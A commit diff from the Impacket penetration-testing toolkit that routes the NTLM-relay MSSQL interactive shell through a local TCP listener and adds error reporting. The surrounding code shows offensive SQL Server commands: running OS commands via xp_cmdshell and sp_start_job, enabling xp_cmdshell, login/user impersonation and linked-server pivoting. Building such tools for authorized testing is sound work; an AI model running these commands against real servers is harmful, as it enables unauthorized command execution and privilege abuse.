Skip to content

Commit

Permalink
Enhanced MSSQLShell in NTLMRelayX leveraging TcpShell & output messag…
Browse files Browse the repository at this point in the history
…es (#1617)

* * Enhanced MSSQLShell in NTLMRelayX leveraging TcpShell (as in SMB and LDAP)

* * Created handle_lastError decorator applied to every command to show errors in the corresponding SQLShell
  • Loading branch information
gabrielg5 authored Oct 12, 2023
1 parent 5674780 commit 2de2918
Show file tree
Hide file tree
Showing 3 changed files with 62 additions and 11 deletions.
42 changes: 39 additions & 3 deletions impacket/examples/mssqlshell.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,11 +19,30 @@

import os
import cmd
import sys

def handle_lastError(f):
def wrapper(*args):
try:
f(*args)
finally:
if(args[0].sql.lastError):
print(args[0].sql.lastError)
return wrapper

class SQLSHELL(cmd.Cmd):
def __init__(self, SQL, show_queries=False):
cmd.Cmd.__init__(self)
def __init__(self, SQL, show_queries=False, tcpShell=None):
if tcpShell is not None:
cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)
sys.stdout = tcpShell.stdout
sys.stdin = tcpShell.stdin
sys.stderr = tcpShell.stdout
self.use_rawinput = False
self.shell = tcpShell
else:
cmd.Cmd.__init__(self)
self.shell = None

self.sql = SQL
self.show_queries = show_queries
self.at = []
Expand Down Expand Up @@ -86,14 +105,17 @@ def execute_as(self, exec_as):
self.sql_query(exec_as)
self.sql.printReplies()

@handle_lastError
def do_exec_as_login(self, s):
exec_as = "execute as login='%s';" % s
self.execute_as(exec_as)

@handle_lastError
def do_exec_as_user(self, s):
exec_as = "execute as user='%s';" % s
self.execute_as(exec_as)

@handle_lastError
def do_use_link(self, s):
if s == 'localhost':
self.at = []
Expand All @@ -117,6 +139,7 @@ def sql_query(self, query, show=True):
def do_shell(self, s):
os.system(s)

@handle_lastError
def do_xp_dirtree(self, s):
try:
self.sql_query("exec master.sys.xp_dirtree '%s',1,1" % s)
Expand All @@ -125,6 +148,7 @@ def do_xp_dirtree(self, s):
except:
pass

@handle_lastError
def do_xp_cmdshell(self, s):
try:
self.sql_query("exec master..xp_cmdshell '%s'" % s)
Expand All @@ -134,6 +158,7 @@ def do_xp_cmdshell(self, s):
except:
pass

@handle_lastError
def do_sp_start_job(self, s):
try:
self.sql_query("DECLARE @job NVARCHAR(100);"
Expand All @@ -155,6 +180,7 @@ def do_lcd(self, s):
else:
os.chdir(s)

@handle_lastError
def do_enable_xp_cmdshell(self, line):
try:
self.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;"
Expand All @@ -164,6 +190,7 @@ def do_enable_xp_cmdshell(self, line):
except:
pass

@handle_lastError
def do_disable_xp_cmdshell(self, line):
try:
self.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure "
Expand All @@ -173,6 +200,7 @@ def do_disable_xp_cmdshell(self, line):
except:
pass

@handle_lastError
def do_enum_links(self, line):
self.sql_query("EXEC sp_linkedservers")
self.sql.printReplies()
Expand All @@ -181,11 +209,13 @@ def do_enum_links(self, line):
self.sql.printReplies()
self.sql.printRows()

@handle_lastError
def do_enum_users(self, line):
self.sql_query("EXEC sp_helpuser")
self.sql.printReplies()
self.sql.printRows()

@handle_lastError
def do_enum_db(self, line):
try:
self.sql_query("select name, is_trustworthy_on from sys.databases")
Expand All @@ -194,6 +224,7 @@ def do_enum_db(self, line):
except:
pass

@handle_lastError
def do_enum_owner(self, line):
try:
self.sql_query("SELECT name [Database], suser_sname(owner_sid) [Owner] FROM sys.databases")
Expand All @@ -202,6 +233,7 @@ def do_enum_owner(self, line):
except:
pass

@handle_lastError
def do_enum_impersonate(self, line):
old_db = self.sql.currentDB
try:
Expand Down Expand Up @@ -236,6 +268,7 @@ def do_enum_impersonate(self, line):
finally:
self.sql_query("use " + old_db)

@handle_lastError
def do_enum_logins(self, line):
try:
self.sql_query("select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin, "
Expand All @@ -247,6 +280,7 @@ def do_enum_logins(self, line):
except:
pass

@handle_lastError
def default(self, line):
try:
self.sql_query(line)
Expand All @@ -259,4 +293,6 @@ def emptyline(self):
pass

def do_exit(self, line):
return True
if self.shell is not None:
self.shell.close()
return True
30 changes: 23 additions & 7 deletions impacket/examples/ntlmrelayx/attacks/mssqlattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,22 +18,38 @@
from impacket import LOG
from impacket.examples.mssqlshell import SQLSHELL
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell

PROTOCOL_ATTACK_CLASS = "MSSQLAttack"

class MSSQLAttack(ProtocolAttack):
PLUGIN_NAMES = ["MSSQL"]
def __init__(self, config, MSSQLclient, username):
ProtocolAttack.__init__(self, config, MSSQLclient, username)
if self.config.interactive:
# Launch locally listening interactive shell.
self.tcp_shell = TcpShell()

def run(self):
if self.config.interactive:
if self.tcp_shell is not None:
LOG.info('Started interactive MSSQL shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port)
# Start listening and launch interactive shell.
self.tcp_shell.listen()
mssql_shell = SQLSHELL(self.client, tcpShell=self.tcp_shell)
mssql_shell.cmdloop()
return

if self.config.queries is not None:
for query in self.config.queries:
LOG.info('Executing SQL: %s' % query)
self.client.sql_query(query)
self.client.printReplies()
self.client.printRows()
elif self.config.interactive is True:
shell = SQLSHELL(self.client)
shell.cmdloop()
return
try:
self.client.sql_query(query)
self.client.printReplies()
self.client.printRows()
finally:
if(self.client.lastError):
print(self.client.lastError)
else:
LOG.error('No SQL queries specified for MSSQL relay!')

1 change: 0 additions & 1 deletion impacket/tds.py
Original file line number Diff line number Diff line change
Expand Up @@ -1022,7 +1022,6 @@ def printReplies(self):
if key['TokenType'] == TDS_ERROR_TOKEN:
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
LOG.error(error)

elif key['TokenType'] == TDS_INFO_TOKEN:
LOG.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
Expand Down

0 comments on commit 2de2918

Please sign in to comment.